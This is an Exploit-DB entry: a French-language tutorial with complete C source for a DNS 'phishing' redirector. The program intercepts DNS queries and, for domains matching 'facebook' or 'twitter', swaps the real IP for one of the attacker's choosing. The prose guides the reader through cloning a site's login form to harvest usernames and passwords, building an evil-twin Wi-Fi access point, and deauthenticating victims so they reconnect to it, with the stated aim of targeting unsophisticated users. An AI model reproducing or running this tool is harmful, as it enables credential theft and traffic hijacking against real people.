[French] DNS Phishing Paper and DNS Phishing Redirector

EDB-ID:

23578

CVE:

N/A




Platform:

Multiple

Date:

2012-12-22


/*********************************************** Seveur DNS de phishing ***\***************************************************
								    --------------------
								    |				 |
*** @jules.mainsard@esial.net ***	    		    |				 |
								    |				 |
					Connaissances Requises				 |
						--> C (+)					 *
						--> HTML (-)
						--> PHP (-)
						--> Reseau (+)
								    |
								    |			Le DNS phishing, ou du moins celui dont il est question ici,
								    |			est une technique qui permet de rediriger les utilisateurs
								    |			a notre gre en fonction des noms de domaines qu'ils essaient
								    *			de consulter. Cet operation de resolution des noms de domaine
											est realise par un serveur DNS. Le code ci dessous est un
											simple redirecteur de requete DNS avec affichage du contenu
											sur la sortie standard. Ce code est toutefois capable de 
											rechercher des chaines de caractere dans les requetes (twitter
											et facebook ici). Quand la recherche est fructueuse, le code
											va modifier la reponse du veritable serveur DNS (apres 
											redirection) et y inserer une IP de notre choix a la place de 
											l'IP initialement resolu.
											
		Puisque les utilisateurs seront des lors rediriger sur cette IP
		Un serveur HTTP doit tourner sur celle ci, dans le cas de 
		facebook par exemple, ce serveur doit heberger un site identique
		(en apparence) a celui de facebook. Pour cela il suffit de visiter
		le site cible et d'enregistrer son code source. Il faut ensuite y 
		modifier le formulaire de login pour rediriger sa submission 
		vers un script PHP de notre choix dans lequel nous enregistrons 
		les variables $_POST['user'] et $_POST['pass'].
		
														PS: Il est possible de faire tourner serveur DNS
														et serveur HTTP sur la meme machine.
		
									Une des conditions préalable à cette attaque est que
									l'utilisateur cible utilise votre serveur DNS. 
									Pour cela il vous suffit par exemple de creer un reseau
									Wifi du meme nom que celui qu'utilise la cible 
									(airebase-ng de la suite aircrack-ng le fait très bien),
									et de le configurer correctement. En effet il va falloir
									que les utilisateurs aient acces a internet correctement 
									sur ce reseau pour gober la supercherie ;) Il vous faut 
									donc une deuxieme carte reseau connecte a internet afin de
									pouvoir rediriger le traffic recu par votre faux point
									d'acces Wifi sur le net .Configuration de routage donc, 
									probablement aussi dhcp puisque l'attaque vise surtout un
									public peu instruit.
						Il ne vous reste plus qu'a deconnecte le client de son 
						point d'acces (aireplay-ng et son option --deauth par ex)
						et il risque fortement de se reconnecter par erreur sur 
						le votre.
		
															Il existe un module metasploit qui
															remplit a peu pres la meme fonction
															que ce programme, toutefois il va
															rechercher des noms de domaines complet
															et ne fonctionnera pas avec une partie
															seulement comme ici (strstr)
	
	
	
	Liens utiles pour realiser cette attaque [pour Backtrack 5]
	
			-->	http://teh-geek.com/?p=512	[ Realisation du faux point d'acces Wifi ]
			-->	http://www.exploit-db.com/docs/20875.pdf	
						[ Tuto similaire en anglais ]
			-->	http://www.aircrack-ng.org/doku.php?id=deauthentication	[ Deauthentification client cible ]
			
		Pour ceux qui ont vraiment du mal ...
		
			-->	http://www.siteduzero.com/tutoriel-3-13596-les-formulaires.html	[ Formulaires HTML ]
			-->	http://www.siteduzero.com/tutoriel-3-14543-transmettre-des-donnees-avec-les-formulaires.html
																[ Script PHP ]
			--> http://www.commentcamarche.net/contents/internet/dns.php3	[ Protocole DNS ]
			
											

								    -------------------- Compilation gcc -o getdnsrequest getdnsrequest.c
**********************************//*******************************************************************************************
										|
									|
											|		
									|
											|
										|
/****************************************************Addendum*****************************************************************/
	
	/***Pour une raison que j'ignore le serveur a l'air de planter quand il recoit trop de requete
	j'avais test le multithread pour résoudre ce problème mais rien n'y fait, petite astuce de bourrin:
	
	***	Lancer dans un terminal ***	for((i=0; i<200; i++)); do ./getdnsrequest; done	*** 
	En modifiant le nombre d'occurences a votre gre bien entendu
	
	***	Lancer dans un second terminal (vous devrez peut etre modifier cette commande en fonction de votre config)
	*** for((i=0; i<200; i++)); do kill `ps -ef | grep getdnsrequest | head --lines=1 | cut -b10-15`; sleep 20s; done ***
	
	Le fait de kill le serveur et de le relancer ensuite empeche les gros lag (reduit a 20sec max)
	Ne fonctionne pas quand l'interruption est faites proprement, de l'interieur du programme***/
											
											
											
											
											
											/***Si vous avez une solution plus elegante, 
											je pensais peut etre un flag de backlog dans bind ou socket,
											Merci de me mail***/

/******************************************************************************************************************************/
	

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>

#define error(msg) \
		perror(msg); \
		exit(EXIT_FAILURE)

//Type d'enregistrement DNS
#define A 0x1
#define CNAME 0x5
#define PTR 0xc
#define MX 0xf
#define NS 0x2
#define SOA 0x6
#define HINFO 0xd
#define AAAA 0x1c

//Prototypes
void mainbis(void);
char *get_ipp(char *bytes);
void print_domain(char *bits);
char *get_type(char *bytes);
char *fakeorbypass(char **tab, int lent, char *search);
void affbytes(char *bof, int leni, int mode);
void affchars(char *bof, int leni);


//Declarations
int mastersocket;
struct sockaddr_in addr;
struct hostent *fromhost, *tohost;

char *tabphish[20]={"facebook", "twitter"}; //chaines qui declenchent le phishing et resolvent ces sites sur votre ip 	
//vous devez evidemment avoir un serveur HTTP/HTTPS qui fait tourner les differents sites de phishing
int lentabphish=2; //ne pas oublier de modifier ce parametre en consequence

int decdomain=13;

int main(int argc, char **argv) {
	
	int k, l;
	pthread_t idt[5];
	
	//Appel a socket //Configuration du premier socket [ Communication client <=> programme ]
	if( (mastersocket=socket(PF_INET, SOCK_DGRAM, 0)) < 0 ) {
		error("socket");
	}
	
	//Configuration de sockaddr pour l'appel a bind
	addr.sin_family=AF_INET;
	addr.sin_addr.s_addr=htonl(INADDR_ANY);
	addr.sin_port=htons(53);
	
	//Appel a bind
	if( (bind(mastersocket, (struct sockaddr *)&addr, sizeof(addr))) < 0 ) {
		error("bind");
	}
	
	mainbis();
	
	return 0;

}

void mainbis() {
	
	int socketh= mastersocket;
	int secondsocket;
	int found=0, phish=1, len, cc, lendns;
	char *buf, *curfish, *ptr;
	char chainexec[50];
	struct sockaddr_in *from, *to;
	int lenbuf=5000;
	struct sockaddr_in addrbis;
	
	//Configuration du second socket [ communication programme <=> real dns serveur ]
	if( (secondsocket=socket(PF_INET, SOCK_DGRAM, 0)) < 0 ) {
		error("socket");
	}
	
	//Configuration de sockaddr pour l'appel a bind
	addrbis.sin_family=AF_INET;
	addrbis.sin_addr.s_addr=htonl(INADDR_ANY);
	addrbis.sin_port=htons(7000);
	
	//Appel a bind
	if( (bind(secondsocket, (struct sockaddr *)&addrbis, sizeof(addrbis))) < 0 ) {
		error("bind");
	}
	
	//Assignation, malloc
	buf=(char *)malloc(lenbuf);
	curfish=(char *)malloc(100);
	len=sizeof(struct sockaddr_in);
	lendns=sizeof(struct sockaddr_in);
	to=(struct sockaddr_in *)malloc(len);
	from=(struct sockaddr_in *)malloc(len);
	//real dns serveur
	long serveurdns=0x0101a8c0;
	
	//Structure sockaddr du real DNS serveur vers lequel on redirige les requete
	to->sin_family=AF_INET; 
	to->sin_addr.s_addr=serveurdns;
	to->sin_port=htons(53);
	
	//Let's go
	while(1) {
		
		//boolean phishing
		found=0;
		//site de phishing selectionne
		curfish=NULL;
		//Reception des requetes <=> premier socket
		if((cc=recvfrom(socketh, buf, lenbuf, 0, (struct sockaddr *)from, &len))<0) {
			error("recv");
		}
		buf[cc]='\0';
		
		//Sortie utilisateur
		ptr=buf+13;
		printf("\n\n\033[1;36m--   New Request \033[1;32m[ %s ]\033[0m From \033[1;31m%s\033[0m"
				"\033[1;36m on \033[0m\033[1;31m%d\033[0m\033[1;36m ... Domain =\033[0m\033[1;31m",
				get_type(buf+cc-4), inet_ntoa(from->sin_addr.s_addr), from->sin_port); 
				
		print_domain(ptr);
		printf("\033[0m\033[1;36m \n--  ***********************\033[0m\n");
		printf("\n \033[1;33m  -HEX\n   ****\033[0m\n");
		affbytes(buf, cc, 1);
		printf("\n  \033[1;33m -ASCII\n   ******\033[0m\n");
		affchars(buf, cc);
		fflush(stdout);
		
		
		//Recherche un domain de site de phishing dans la requete
		curfish=fakeorbypass(tabphish, lentabphish, buf);
		if( curfish!=NULL ) {
			
			//Phishing is on
			found=1;
			printf("\033[1;33m\n PHISHING -- %s found--\033[0m\n", curfish);
			fflush(stdout);
		
		}
		
		//Redirection des donnes vers le veritable serveur DNS <=> second socket
		if(sendto(secondsocket, buf, cc, 0, (struct sockaddr *)to, sizeof(*to))<0) {
			error("send");
		}
		
		//Reception de la reponse du veritable serveur DNS <=> second socket
		if((cc=recvfrom(secondsocket, buf, lenbuf, 0, (struct sockaddr *)to, &lendns))<0) {
			error("recv2");
		}
		buf[cc]='\0';
		
		//Sortie utilisateurs
		printf("\n\n\033[1;36m--   New Response => IP \033[1;32m%s\033[0m \033[1;36mon Port \033[0m"		
				"\033[1;31m%d\033[0m\033[1;36m\n--  *******************************\033[0m\n"
				, get_ipp(buf+cc-4), to->sin_port);
				
		printf("\n \033[1;33m  -HEX\n   ****\033[0m\n");
		affbytes(buf, cc, 0);
		printf("\n \033[1;33m  -ASCII\n   ******\033[0m\n");
		affchars(buf, cc);
		fflush(stdout);
		
		//Modification de la reponse si le phishing is on
		if(found) {
			
			//On remplace l'IP renvoye par le serveur DNS (la "bonne" IP)
			//Par l'IP de notre machine hebergent le(s) site de phishing
			//Ici 127.0.0.1 en hexa pour mes tests en local
			buf[cc-1]=0x1;
			buf[cc-2]=0x0;
			buf[cc-3]=0x0;
			buf[cc-4]=0x7f;
			//Sortie utilisateur
			printf("\n\n\033[1;36m--   New PHISHING Response!\n--   ***********************\033[0m\n");
			fflush(stdout);
			printf("\n \033[1;33m  -HEX\n   ****\033[0m\n");
			affbytes(buf, cc, 0);
			printf("\n \033[1;33m  -ASCII\n   ******\033[0m\n");
			affchars(buf, cc);
		
		}
		printf("\n\n");
		if(sendto(socketh, buf, cc, 0, (struct sockaddr *)from, len)<0) {
			error("send");
		}
	
	}

}

//Extrait l'IP (resolu par le serveur DNS) du packet de donnes renvoye par le veritable serveur DNS
char *get_ipp(char *bytes) {

	char *ip;
	ip=(char *)malloc(15*sizeof(char));
	sprintf(ip, "%d.%d.%d.%d", (unsigned char)bytes[0], (unsigned char)bytes[1], 
						(unsigned char)bytes[2], (unsigned char)bytes[3]);
	return ip;

}

//Ecrit le domaine stocke dans le paquet de donnes sur la sortie standard
void print_domain(char *bits) {

	int l;
	for(l=0; bits[l]!='\0'; l++) {
		if(bits[l]>31 && bits[l]<127) {
			printf("%c", bits[l]);
		} else {
			printf(".");
		}
	}

}

//Determine le type d'enregistrement DNS dont il est question
char *get_type(char *bytes) {

	int type=(char)(*(bytes+1));
	
	switch(type) {
	
		case A :
			return "A";
		case MX :
			return "MX";
		case PTR :
			return "PTR";
		case NS :
			return "NS";
		case HINFO :
			return "HINFO";
		case CNAME :
			return "CNAME";
		case SOA :
			return "SOA";
		case AAAA:
			return "AAAA";
		default:
			return "UNKNOWN";
	
	}

}

//Recherche tab[i], i=0->lent, dans search
//Retourne tab[i] s'il est trouve sinon un NULL pointer
char *fakeorbypass(char *tab[], int lent, char *search) {

	int i;
	char *ret=NULL;
	for(i=0; i<lent; i++) {
	
		if(strstr(search+decdomain, tab[i])!=NULL) {
		
			ret=tab[i];
		
		}
	
	}
	return ret;

}


//Fonctions sortie utilisateurs, on ne peut utiliser directement printf("%s", buf)
//Car buf contient de nombreux NULL bytes

//Sortie hexadecimale
void affbytes(char *bof, int leni, int mode) {

	
	int n;
	char c;
	for(n=0; n<leni; n++) {
	
		if(n==leni-4) printf("\033[1;32m");
	
		printf("\\x%x", (unsigned char)bof[n]);
		
		if(n==leni-3 && mode) printf("\033[0m");
	}
	if(!mode)	printf("\033[0m");

}

//Sortie ASCII
void affchars(char *bof, int leni) {

	
	int n;
	char c;
	for(n=0; n<leni; n++) {
		
		if(bof[n]>31 && bof[n]<127) {
			printf("%c", bof[n]);
		} else {
			printf(".");
		}
		
	}
	

}